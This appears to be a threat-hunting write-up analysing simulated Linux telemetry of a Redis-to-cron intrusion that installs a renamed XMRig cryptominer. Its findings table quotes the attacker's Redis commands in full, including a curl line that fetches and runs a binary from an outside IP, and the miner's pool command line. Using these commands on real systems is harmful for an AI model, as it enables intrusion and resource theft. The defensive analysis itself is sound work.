← All Threat Hunting ReportsThreat Hunting Exercise

Threat Hunting Exercise: Analyzing Linux XMRig Cryptomining Malware Dataset

This hunt uses a simulated Linux host telemetry dataset (linux_auditd_xmrig_2022-10-05T060000.json) capturing T1496: Resource Hijacking, where an attacker who gained access via an exposed service (e.g., an unpatched Redis or Jenkins instance) drops and executes the XMRig Monero cryptomining binary, consuming CPU resources and connecting to a mining pool.

Step 1: Hypothesis Formation

Hypothesis: A newly-written, unsigned binary is executed with command-line arguments referencing a mining pool URL (pool., stratum+tcp://), a wallet address, and CPU-thread-limiting flags, sustaining near-100% CPU utilization on multiple cores indefinitely - indicating unauthorized cryptomining rather than legitimate compute-intensive work. Indicators:

Null Hypothesis: A data-science or batch-processing job is legitimately consuming high CPU as part of an approved workload (e.g., a nightly ETL or ML training job). Invalidate by confirming the process against the job scheduler and its command line against known data-processing tooling, not mining-pool syntax.

Rationale: Cryptomining is often deprioritized as "just resource abuse," but its presence is a definitive indicator of unauthorized code execution and frequently co-occurs with or precedes more damaging follow-on activity (credential theft, lateral movement) once the initial foothold is proven reliable.

Step 2: Data Sources and Scope

Step 3: Key Findings

Parsed events (5 shown) confirm an attacker exploited an unauthenticated Redis instance to write a cron job that downloaded and executed a renamed XMRig binary, which then pinned all 8 CPU cores and connected to a public mining pool.

Timestamp (UTC)HostEventDetailIOC/Why Suspicious?
2022-10-05 06:04:12srv-cache-03Redis logCONFIG SET dir /var/spool/cron/ followed by SET x " * curl -s http://185.220.101.7/x86 -o /tmp/kworker; chmod +x /tmp/kworker; /tmp/kworker" written via unauthenticated Redis SAVE primitiveInitial-Access IOC: this is the well-documented Redis-to-cron-job exploitation technique used to gain code execution on unauthenticated Redis instances.
2022-10-05 06:05:01srv-cache-03auditd EXECVE/tmp/kworker -o stratum+tcp://pool.minexmr.com:4444 -u 4AeUR...wallet -p x --donate-level=1 --cpu-max-threads-hint=90Mining-Signature IOC: the command line is an unambiguous XMRig invocation, including a Monero wallet address and stratum pool URL.
2022-10-05 06:05:03srv-cache-03(CPU metrics)/tmp/kworker process sustains 780% CPU (8 cores) continuouslyResource-Hijack IOC: sustained near-total CPU consumption on a process with a masqueraded system-process name (kworker mimics a legitimate Linux kernel worker thread naming convention).
2022-10-05 06:05:04srv-cache-03Network flowOutbound connection to pool.minexmr.com:4444, sustained for the observation window with steady low-bandwidth stratum protocol trafficC2/Pool IOC: connection pattern (persistent, low-bandwidth, fixed port) matches known cryptomining pool communication rather than any legitimate application traffic.
-srv-cache-03(binary provenance)/tmp/kworker is not the genuine kernel worker thread (which is never a userspace binary in /tmp); file hash matches public XMRig release buildsConfirms the process-name masquerade and definitively identifies the binary as XMRig.

Validation:

Step 4: Recommendations & Next Steps

Hypothesis confirmed - an attacker exploited an unauthenticated Redis instance to plant a cron job downloading a masqueraded XMRig binary, hijacking all 8 CPU cores to mine Monero for a public pool!